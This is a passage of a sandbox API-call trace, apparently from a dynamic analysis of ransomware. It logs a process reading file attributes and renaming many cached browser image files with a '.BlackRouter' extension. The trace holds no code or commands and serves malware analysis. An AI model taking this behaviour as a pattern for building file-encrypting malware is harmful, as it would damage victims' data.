nFileSizeLow=0x860)) returned 1 [0066.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg.blackrouter")) returned 1 [0066.948] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x878 [0066.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce6dd450, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0066.974] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg.blackrouter")) returned 1 [0066.975] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x878 [0066.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f59090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f59090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce7035b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0066.990] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg.blackrouter")) returned 1 [0066.992] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x77f [0067.013] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce74f870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1 [0067.013] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg.blackrouter")) returned 1 [0067.014] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x22b3 [0067.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538b8730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce74f870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x22c0)) returned 1 [0067.018] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg.blackrouter")) returned 1 [0067.019] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19cf [0067.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ec0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ec0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce7759d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x19d0)) returned 1 [0067.032] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg.blackrouter")) returned 1 [0067.034] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2ca1 [0067.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b2bd440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5b2bd440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce79bb30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2cb0)) returned 1 [0067.047] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg.blackrouter")) returned 1 [0067.048] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1f37 [0067.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53950cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53950cb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce79bb30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1f40)) returned 1 [0067.052] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg.blackrouter")) returned 1 [0067.053] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2131 [0067.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce7c1c90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2140)) returned 1 [0067.059] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg.blackrouter")) returned 1 [0067.060] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x370a [0067.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5530da90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5530da90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce7e7df0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3710)) returned 1 [0067.075] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg.blackrouter")) returned 1 [0067.076] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x22a0 [0067.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51256470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51256470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce80df50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x22b0)) returned 1 [0067.087] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg.blackrouter")) returned 1 [0067.088] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2036 [0067.092] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53657130, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53657130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce80df50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2040)) returned 1 [0067.092] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg.blackrouter")) returned 1 [0067.093] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x13fd [0067.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b2bd440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5b2bd440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce880370, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1 [0067.135] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg.blackrouter")) returned 1 [0067.136] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x884 [0067.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce8a64d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x890)) returned 1 [0067.152] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg.blackrouter")) returned 1 [0067.153] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x34d8 [0067.163] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f0cdd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f0cdd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce8a64d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x34e0)) returned 1 [0067.163] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg.blackrouter")) returned 1 [0067.170] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2fd1 [0067.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61282d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce8f2790, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fe0)) returned 1 [0067.182] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg.blackrouter")) returned 1 [0067.183] GetFileSize (in: 